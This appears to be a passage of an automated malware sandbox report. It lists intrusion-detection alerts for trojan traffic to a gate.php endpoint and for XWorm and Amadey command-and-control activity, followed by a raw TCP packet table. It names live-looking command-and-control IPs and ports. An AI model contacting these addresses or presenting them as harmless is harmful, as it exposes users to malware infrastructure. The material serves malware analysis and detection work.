2024-12-14T15:02:57.774626+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50516	185.81.68.147	80	TCP
2024-12-14T15:02:57.774626+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50516	185.81.68.147	80	TCP
2024-12-14T15:02:59.768466+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50517	185.81.68.147	80	TCP
2024-12-14T15:02:59.768466+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50517	185.81.68.147	80	TCP
2024-12-14T15:02:59.768466+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50517	185.81.68.147	80	TCP
2024-12-14T15:03:01.824002+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50519	185.81.68.147	80	TCP
2024-12-14T15:03:01.824002+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50519	185.81.68.147	80	TCP
2024-12-14T15:03:01.824002+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50519	185.81.68.147	80	TCP
2024-12-14T15:03:03.533716+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50520	185.81.68.147	80	TCP
2024-12-14T15:03:03.533716+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50520	185.81.68.147	80	TCP
2024-12-14T15:03:03.533716+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50520	185.81.68.147	80	TCP
2024-12-14T15:03:05.427437+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50522	185.81.68.147	80	TCP
2024-12-14T15:03:05.427437+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50522	185.81.68.147	80	TCP
2024-12-14T15:03:05.427437+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50522	185.81.68.147	80	TCP
2024-12-14T15:03:07.240934+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50524	185.81.68.147	80	TCP
2024-12-14T15:03:07.240934+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50524	185.81.68.147	80	TCP
2024-12-14T15:03:07.240934+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50524	185.81.68.147	80	TCP
2024-12-14T15:03:08.973667+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50525	185.81.68.147	80	TCP
2024-12-14T15:03:08.973667+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50525	185.81.68.147	80	TCP
2024-12-14T15:03:08.973667+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50525	185.81.68.147	80	TCP
2024-12-14T15:03:10.830742+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50527	185.81.68.147	80	TCP
2024-12-14T15:03:10.830742+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50527	185.81.68.147	80	TCP
2024-12-14T15:03:10.830742+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50527	185.81.68.147	80	TCP
2024-12-14T15:03:12.558839+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50528	185.81.68.147	80	TCP
2024-12-14T15:03:12.558839+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50528	185.81.68.147	80	TCP
2024-12-14T15:03:12.558839+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50528	185.81.68.147	80	TCP
2024-12-14T15:03:14.492646+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50530	185.81.68.147	80	TCP
2024-12-14T15:03:14.492646+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50530	185.81.68.147	80	TCP
2024-12-14T15:03:14.492646+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50530	185.81.68.147	80	TCP
2024-12-14T15:03:16.385914+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50531	185.81.68.147	80	TCP
2024-12-14T15:03:16.385914+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50531	185.81.68.147	80	TCP
2024-12-14T15:03:16.385914+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50531	185.81.68.147	80	TCP
2024-12-14T15:03:18.269243+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50533	185.81.68.147	80	TCP
2024-12-14T15:03:18.269243+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50533	185.81.68.147	80	TCP
2024-12-14T15:03:18.269243+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50533	185.81.68.147	80	TCP
2024-12-14T15:03:18.655914+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:18.655914+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:20.196400+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50536	185.81.68.147	80	TCP
2024-12-14T15:03:20.196400+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50536	185.81.68.147	80	TCP
2024-12-14T15:03:20.196400+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50536	185.81.68.147	80	TCP
2024-12-14T15:03:22.146528+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50537	185.81.68.147	80	TCP
2024-12-14T15:03:22.146528+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50537	185.81.68.147	80	TCP
2024-12-14T15:03:22.146528+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50537	185.81.68.147	80	TCP
2024-12-14T15:03:23.860974+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50539	185.81.68.147	80	TCP
2024-12-14T15:03:23.860974+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50539	185.81.68.147	80	TCP
2024-12-14T15:03:23.860974+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50539	185.81.68.147	80	TCP
2024-12-14T15:03:24.392038+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:24.392038+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:25.730981+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50541	185.81.68.147	80	TCP
2024-12-14T15:03:25.730981+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50541	185.81.68.147	80	TCP
2024-12-14T15:03:25.730981+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50541	185.81.68.147	80	TCP
2024-12-14T15:03:27.664483+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50542	185.81.68.147	80	TCP
2024-12-14T15:03:27.664483+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50542	185.81.68.147	80	TCP
2024-12-14T15:03:27.664483+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50542	185.81.68.147	80	TCP
2024-12-14T15:03:29.416894+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50544	185.81.68.147	80	TCP
2024-12-14T15:03:29.416894+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50544	185.81.68.147	80	TCP
2024-12-14T15:03:29.416894+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50544	185.81.68.147	80	TCP
2024-12-14T15:03:31.330936+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50545	185.81.68.147	80	TCP
2024-12-14T15:03:31.330936+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50545	185.81.68.147	80	TCP
2024-12-14T15:03:31.330936+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50545	185.81.68.147	80	TCP
2024-12-14T15:03:33.043703+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50547	185.81.68.147	80	TCP
2024-12-14T15:03:33.043703+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50547	185.81.68.147	80	TCP
2024-12-14T15:03:33.043703+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50547	185.81.68.147	80	TCP
2024-12-14T15:03:34.958036+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50548	185.81.68.147	80	TCP
2024-12-14T15:03:34.958036+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50548	185.81.68.147	80	TCP
2024-12-14T15:03:34.958036+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50548	185.81.68.147	80	TCP
2024-12-14T15:03:36.700740+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50550	185.81.68.147	80	TCP
2024-12-14T15:03:36.700740+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50550	185.81.68.147	80	TCP
2024-12-14T15:03:36.700740+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50550	185.81.68.147	80	TCP
2024-12-14T15:03:38.635387+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50552	185.81.68.147	80	TCP
2024-12-14T15:03:38.635387+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50552	185.81.68.147	80	TCP
2024-12-14T15:03:38.635387+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50552	185.81.68.147	80	TCP
2024-12-14T15:03:40.538430+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50553	185.81.68.147	80	TCP
2024-12-14T15:03:40.538430+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50553	185.81.68.147	80	TCP
2024-12-14T15:03:40.538430+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50553	185.81.68.147	80	TCP
2024-12-14T15:03:43.591948+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50555	185.81.68.147	80	TCP
2024-12-14T15:03:43.591948+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50555	185.81.68.147	80	TCP
2024-12-14T15:03:43.591948+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50555	185.81.68.147	80	TCP
2024-12-14T15:03:45.475287+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50557	185.81.68.147	80	TCP
2024-12-14T15:03:45.475287+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50557	185.81.68.147	80	TCP
2024-12-14T15:03:45.475287+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50557	185.81.68.147	80	TCP
2024-12-14T15:03:47.348841+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50559	185.81.68.147	80	TCP
2024-12-14T15:03:47.348841+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50559	185.81.68.147	80	TCP
2024-12-14T15:03:47.348841+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50559	185.81.68.147	80	TCP
2024-12-14T15:03:49.010389+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:49.010389+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:03:49.281893+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50561	185.81.68.147	80	TCP
2024-12-14T15:03:49.281893+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50561	185.81.68.147	80	TCP
2024-12-14T15:03:49.281893+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50561	185.81.68.147	80	TCP
2024-12-14T15:03:51.014909+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50563	185.81.68.147	80	TCP
2024-12-14T15:03:51.014909+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50563	185.81.68.147	80	TCP
2024-12-14T15:03:51.014909+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50563	185.81.68.147	80	TCP
2024-12-14T15:03:52.747480+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50566	185.81.68.147	80	TCP
2024-12-14T15:03:52.747480+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50566	185.81.68.147	80	TCP
2024-12-14T15:03:52.747480+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50566	185.81.68.147	80	TCP
2024-12-14T15:03:54.410301+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:54.410301+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:54.621032+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50568	185.81.68.147	80	TCP
2024-12-14T15:03:54.621032+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50568	185.81.68.147	80	TCP
2024-12-14T15:03:54.621032+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50568	185.81.68.147	80	TCP
2024-12-14T15:03:55.648466+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.5	50565	185.81.68.148	80	TCP
2024-12-14T15:03:56.474698+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50569	185.81.68.147	80	TCP
2024-12-14T15:03:56.474698+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50569	185.81.68.147	80	TCP
2024-12-14T15:03:56.474698+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50569	185.81.68.147	80	TCP
2024-12-14T15:03:58.328252+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50571	185.81.68.147	80	TCP
2024-12-14T15:03:58.328252+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50571	185.81.68.147	80	TCP
2024-12-14T15:03:58.328252+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50571	185.81.68.147	80	TCP
2024-12-14T15:04:00.303261+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50573	185.81.68.147	80	TCP
2024-12-14T15:04:00.303261+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50573	185.81.68.147	80	TCP
2024-12-14T15:04:00.303261+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50573	185.81.68.147	80	TCP
2024-12-14T15:04:02.015826+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50574	185.81.68.147	80	TCP
2024-12-14T15:04:02.015826+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50574	185.81.68.147	80	TCP
2024-12-14T15:04:02.015826+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50574	185.81.68.147	80	TCP
2024-12-14T15:04:03.728442+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50576	185.81.68.147	80	TCP
2024-12-14T15:04:03.728442+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50576	185.81.68.147	80	TCP
2024-12-14T15:04:03.728442+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50576	185.81.68.147	80	TCP
2024-12-14T15:04:05.642242+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50577	185.81.68.147	80	TCP
2024-12-14T15:04:05.642242+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50577	185.81.68.147	80	TCP
2024-12-14T15:04:05.642242+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50577	185.81.68.147	80	TCP
2024-12-14T15:04:07.696294+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50579	185.81.68.147	80	TCP
2024-12-14T15:04:07.696294+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50579	185.81.68.147	80	TCP
2024-12-14T15:04:07.696294+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50579	185.81.68.147	80	TCP
2024-12-14T15:04:09.399329+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50580	185.81.68.147	80	TCP
2024-12-14T15:04:09.399329+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50580	185.81.68.147	80	TCP
2024-12-14T15:04:09.399329+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50580	185.81.68.147	80	TCP
2024-12-14T15:04:11.131392+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50582	185.81.68.147	80	TCP
2024-12-14T15:04:11.131392+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50582	185.81.68.147	80	TCP
2024-12-14T15:04:11.131392+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50582	185.81.68.147	80	TCP
2024-12-14T15:04:12.846413+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50583	185.81.68.147	80	TCP
2024-12-14T15:04:12.846413+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50583	185.81.68.147	80	TCP
2024-12-14T15:04:12.846413+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50583	185.81.68.147	80	TCP
2024-12-14T15:04:16.864066+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50590	185.81.68.147	80	TCP
2024-12-14T15:04:16.864066+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50590	185.81.68.147	80	TCP
2024-12-14T15:04:16.864066+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50590	185.81.68.147	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 14:56:04.157524109 CET	49816	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:04.277498960 CET	80	49816	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:04.277745008 CET	49816	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:04.281903982 CET	49816	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:04.401762962 CET	80	49816	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:05.610454082 CET	80	49816	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:05.610702991 CET	49816	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:07.118566990 CET	49816	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:07.118748903 CET	49827	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:07.238868952 CET	80	49827	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:07.238936901 CET	80	49816	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:07.239005089 CET	49827	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:07.239037991 CET	49816	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:07.239542961 CET	49827	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:07.359363079 CET	80	49827	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:08.607816935 CET	80	49827	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:08.607893944 CET	49827	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:08.611856937 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:08.735622883 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:08.735793114 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:08.735884905 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:08.859206915 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075624943 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075741053 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075773001 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075808048 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075841904 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075874090 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075906038 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.075934887 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.075936079 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.075936079 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.075936079 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.075936079 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.075961113 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.076052904 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.076052904 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.076064110 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.076114893 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.076114893 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.076159954 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.196150064 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.196171045 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.196244955 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.200288057 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.200568914 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.268079996 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.268227100 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.268399000 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.272309065 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.272373915 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.272464037 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.278853893 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.278980017 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.279027939 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.287271023 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.287420988 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.287455082 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.287477016 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.295744896 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.295867920 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.295874119 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.295931101 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.304248095 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.304302931 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.304315090 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.304359913 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.312653065 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.312768936 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.312802076 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.312845945 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.321115017 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.321221113 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.321225882 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.321307898 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.329622030 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.329807043 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.329885006 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.329977989 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.337233067 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.337366104 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.337398052 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.337477922 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.344942093 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.345093012 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.345098019 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.345185995 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.388953924 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.389156103 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.389187098 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.389255047 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.392872095 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.392939091 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.460485935 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.460602045 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.460676908 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.463016987 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.463278055 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.463331938 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.468262911 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.468310118 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.468370914 CET	80	49828	31.41.244.11	192.168.2.5
